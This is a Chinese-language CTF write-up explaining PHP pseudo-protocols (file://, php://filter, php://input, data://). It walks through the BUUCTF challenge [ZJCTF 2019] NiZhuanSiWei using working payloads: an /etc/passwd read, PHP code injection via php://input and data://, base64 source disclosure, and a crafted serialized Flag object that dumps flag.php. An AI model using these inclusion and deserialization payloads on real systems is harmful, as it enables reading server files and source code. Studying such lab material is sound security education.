file://
作用:
用於訪問文件(絕對路徑、相對路徑、網絡路徑)
示例:
http://www.xx.com?file=file:///etc/passswd
php://
作用:
訪問輸入輸出流
1. php://filter
作用:
讀取源代碼並進行base64編碼輸出
示例:
http://127.0.0.1/cmd.php?cmd=php://filter/read=convert.base64-encode/resource=[文件名](針對php文件需要base64編碼)
參數:
resource=<要過濾的數據流> 這個參數是必須的。它指定了你要篩選過濾的數據流
read=<讀鏈的篩選列表> 該參數可選。可以設定一個或多個過濾器名稱,以管道符(|)分隔。
write=<寫鏈的篩選列表> 該參數可選。可以設定一個或多個過濾器名稱,以管道符(|)分隔。
<;兩個鏈的篩選列表> 任何沒有以 read= 或 write= 作前綴 的篩選器列表會視情況應用於讀或寫鏈。
2. php://input
作用:
執行POST數據中的php代碼
示例:
http://127.0.0.1/cmd.php?cmd=php://input
POST數據:
<?php phpinfo()?>
注意:
enctype="multipart/form-data"
的時候php://input
是無效的
data://
作用:
自PHP>=5.2.0起,可以使用data://數據流封裝器,以傳遞相應格式的數據。通常可以用來執行PHP代碼。一般需要用到
base64編碼
傳輸
示例:
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
實例(https://buuoj.cn/challenges#[ZJCTF%202019]NiZhuanSiWei)
打開網址,給了源碼
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
- 代碼示意我們要get傳參text,file,password
- 通過初步觀察,可基本確定text要求傳入文件,且文件內容為:
welcome to the zjctf
、file傳入一個文件名,通過include($file)
包含進來、password未知
偽協議第一次利用:
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
這里需要我們傳入一個文件且其內容為welcome to the zjctf
,才可以進入判斷進行下一步
由於:在官方手冊中file_get_contents()是用來將文件的內容讀入到一個字符串中的首選方法,並且給出了幾個運用實例。
echo file_get_contents('http://www.xxx.com/aa.png', 'r');
// 將會在該頁面中輸出圖片
在例子中發現:file_get_contents()
的$filename
參數不僅僅為本地文件路徑,還可以是一個網絡路徑URL
。於是便可以利用偽協議:
- 姿勢一:
data://
協議利用
text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
// d2VsY29tZSB0byB0aGUgempjdGY= 解碼后為 -----> welcome to the zjctf
url:http://a7425027-7eb1-43be-a0c9-47a34018d60b.node3.buuoj.cn/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
得到:
- 姿勢二:
php://
協議利用
url:http://a7425027-7eb1-43be-a0c9-47a34018d60b.node3.buuoj.cn/?text=php://input
POST數據:welcome to the zjctf
POST請求包:
POST /?text=php://input HTTP/1.1
Host: a7425027-7eb1-43be-a0c9-47a34018d60b.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 20
Origin: http://a7425027-7eb1-43be-a0c9-47a34018d60b.node3.buuoj.cn
Connection: close
Referer: http://a7425027-7eb1-43be-a0c9-47a34018d60b.node3.buuoj.cn/
Upgrade-Insecure-Requests: 1
welcome to the zjctf
回包:
HTTP/1.1 200 OK
Server: openresty
Date: Sat, 08 Feb 2020 11:45:53 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 38
Connection: close
X-Powered-By: PHP/5.6.40
<br><h1>welcome to the zjctf</h1></br>
偽協議第二次利用:
$file = $_GET["file"];
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
此處過濾了flag
這個關鍵字,要是直接給你包含了,那也·······
可以看到代碼注釋中有一個useless.php
,明面上說是沒用,但是我們可以通過偽協議拉下來瞅瞅
file=php://filter/read=convert.base64-encode/resource=useless.php
為了方便我們前面便用data協議來繞過 if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
,進入判斷語句內部
於是:
url:http://a7425027-7eb1-43be-a0c9-47a34018d60b.node3.buuoj.cn/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php
得到useless.php
的base64編碼
后的內容:
PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKX sgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQT FoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo=
解碼后得到:
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
這一段代碼的意思是:獲取這個$file
參數代表的文件並且輸出出來,注意Flag
類中的$file
參數與通過get
傳輸$file
參數不是同一個,兩者位於不同的作用域!
由其中的注釋猜測,應該是要我們包含flag.php
這個文件即可獲得flag,即將Flag對象中的$file
參數應為flag.php
。
如果我們包含了useless.php
,則整體代碼變成了:
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
在$password = unserialize($password);
中,unserialize()
函數是一個反序列化函數。不熟悉序列化與反序列化的可以百度一下。
若我們將一個序列化后的對象即一串字符串傳給$password
,那么我們會得到一個實例對象,我們便不難想象,若是我們將一個useless.php
中的Flag對象(其中$file
參數的值為flag.php
)序列化后得到的字符串傳給$password參數,經過反序列化后變變成了一個實例對象,一句可執行的代碼,且能輸出flag.php
中的代碼!震驚!!!
於是構造:
<?php
class Flag{
public $file="flag.php"; //Amazing !!!!!
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$password = new Flag();
echo serialize($password);
?>
得到:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
於是乎:
payload: ?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
在url后加入以上語句后,會執行一下操作:
- 首先,利用data偽協議,text參數便可以繞過
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
,順利進入判斷語句內 - 然后,包含了
useless.php
文件,從而在原代碼中引入了Flag
對象,只有如此,在password
參數反序列化才可輸出flag.php
文件的內容 - 傳入的
password
參數經過反序列化后,得到一個$file=flag.php
的Flag對象,同時執行了該Flag對象內部的__tostring()
方法,輸出flag.php
的內容,從而得到flag
注意:需要查看網頁源代碼方可見到flag
其他的偽協議:(菜雞思維導圖)
鏈接:https://pan.baidu.com/s/1-C6FWW3SBLin_us4_Kk5EQ
提取碼:56vl
參考:
1:https://www.freebuf.com/column/148886.html
2:https://www.redmango.top/article/13